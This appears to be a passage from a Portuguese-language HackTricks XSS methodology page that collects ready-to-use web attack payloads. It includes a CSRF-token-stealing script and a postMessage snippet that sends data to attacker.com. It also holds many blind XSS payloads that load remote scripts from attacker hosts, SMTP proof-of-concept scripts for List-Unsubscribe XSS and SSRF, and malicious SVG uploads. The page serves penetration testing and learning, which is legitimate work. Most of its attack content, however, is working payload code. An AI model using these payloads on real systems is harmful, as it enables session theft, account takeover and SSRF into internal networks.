- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- You can also use metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Roubando mensagens PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Se uma página armazena event.origin de um postMessage e depois o concatena em uma URL de script, o remetente controla a origin do JS carregado:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Receita de exploração (do CAPIG):
- Gates: dispara apenas quando
window.openerexiste epixel_idestá allowlisted; origin nunca é verificado. - Use CSP-allowed origin: pivotar para um domínio já permitido pela CSP da vítima (por exemplo, páginas de ajuda acessíveis sem login que permitem analytics como
*.THIRD-PARTY.com) e hospedar/sdk/<pixel_id>/iwl.jslá via takeover/XSS/upload. - Restaurar
opener: no Android WebView,window.name='x'; window.open(target,'x')faz com que a página seja seu próprio opener; envie opostMessagemalicioso a partir de um iframe sequestrado. - Gatilho: o iframe envia
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; o parent então carrega oiwl.jsdo atacante a partir do CSP-allowed origin e o executa.
Isso transforma a validação de postMessage sem origem em um remote script loader primitive que sobrevive ao CSP se você conseguir chegar em qualquer origin já permitido pela política.
Supply-chain stored XSS via backend JS concatenation
Quando um backend constrói um shared SDK concatenando strings JS com valores controlados pelo usuário, qualquer quebra de aspas/estrutura pode injetar script que é servido a todos os consumidores:
- Exemplo de padrão (Meta CAPIG): o servidor adiciona
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});diretamente emcapig-events.js. - Injetar
'ou"]}fecha o literal/objeto e adiciona JS do atacante, criando stored XSS no SDK distribuído para todo site que o carrega (first-party e third-party).
Abusing Service Workers
Acessando Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Você também pode usar: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Acessar Conteúdo Oculto
A partir de this writeup é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Lista de Brute-Force
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS Abusando de outras vulnerabilidades
XSS em Markdown
É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Confira:
XSS para SSRF
Conseguiu XSS em um site que usa cache? Tente elevar isso para SSRF através de Edge Side Include Injection com este payload:
<esi:include src="http://yoursite.com/capture" />
Use-o para contornar cookie restrictions, filtros XSS e muito mais!
Mais informações sobre essa técnica aqui: XSLT.
XSS em PDF criado dinamicamente
Se uma página web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário.
Então, se o PDF creator bot encontrar algum tipo de HTML tags, ele irá interpretá-las, e você pode abusar desse comportamento para causar um Server XSS.
Se você não conseguir injetar HTML tags, pode valer a pena tentar injetar dados de PDF:
XSS em Amp4Email
AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para diferentes recursos, acessíveis via AMP components.
O formato AMP for Email estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro de seus emails.
Exemplo writeup XSS in Amp4Email in Gmail.
Abuso do header List-Unsubscribe (Webmail XSS & SSRF)
O header RFC 2369 List-Unsubscribe incorpora URIs controladas pelo atacante que muitos webmail e clientes de email convertem automaticamente em botões “Unsubscribe”. Quando essas URIs são renderizadas ou buscadas sem validação, o header torna-se um ponto de injeção tanto para stored XSS (se o unsubscribe link for colocado no DOM) quanto para SSRF (se o servidor realizar a requisição de unsubscribe em nome do usuário).
Stored XSS via javascript: URIs
- Envie um email para você mesmo onde o header aponta para uma URI
javascript:enquanto mantém o resto da mensagem benigno para que os filtros de spam não o descartem. - Garanta que a UI renderize o valor (muitos clientes mostram isso em um painel “List Info”) e verifique se a
<a>resultante herda atributos controlados pelo atacante, comohrefoutarget. - Acione a execução (por exemplo, CTRL+click, middle-click, ou “open in new tab”) quando o link usa
target="_blank"; os navegadores irão avaliar o JavaScript fornecido na origem da aplicação webmail. - Observe a stored-XSS primitive: o payload persiste com o email e requer apenas um clique para executar.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
O byte de nova linha (%0a) na URI mostra que até caracteres incomuns sobrevivem ao pipeline de renderização em clientes vulneráveis como Horde IMP H5, que irão exibir a string literalmente dentro do anchor tag.
PoC SMTP mínimo que entrega um cabeçalho List-Unsubscribe malicioso
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxies de cancelamento de assinatura no lado do servidor -> SSRF
Alguns clientes, como o Nextcloud Mail app, fazem proxy da ação de unsubscribe no lado do servidor: clicar no botão instrui o servidor a buscar a URL fornecida por conta própria. Isso transforma o header em uma primitive SSRF, especialmente quando administradores definem `'allow_local_remote_servers' => true` (documentado em [HackerOne report 2902856](https://hackerone.com/reports/2902856)), o que permite requisições para endereços loopback e faixas RFC1918.
1. **Craft an email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** para que a UI mostre um botão de unsubscribe de um clique.
3. **Satisfazer os requisitos de confiança**: Nextcloud, por exemplo, só realiza requisições HTTPS de unsubscribe quando a mensagem passa DKIM, então o atacante deve assinar o email usando um domínio que controla.
4. **Deliver the message to a mailbox processed by the target server** e aguarde até que um usuário clique no botão de unsubscribe.
5. **Observe o server-side callback** no collaborator endpoint, então pivote para endereços internos uma vez que a primitiva seja confirmada.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Mensagem List-Unsubscribe assinada por DKIM para teste de SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Notas de teste**
- Use um endpoint OAST para coletar blind SSRF hits, então adapte a URL `List-Unsubscribe` para apontar para `http://127.0.0.1:PORT`, serviços de metadados, ou outros hosts internos assim que a primitiva for confirmada.
- Porque o unsubscribe helper frequentemente reutiliza a mesma pilha HTTP da aplicação, você herda suas configurações de proxy, métodos HTTP e reescritas de cabeçalho, permitindo outros truques de traversal descritos na [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS upload de arquivos (svg)
Faça o upload como imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/]):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Encontre mais payloads SVG em https://github.com/allanlw/svg-cheatsheet
Truques JS Diversos & Informações Relevantes
Misc JS Tricks & Relevant Info
Recursos XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referências
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


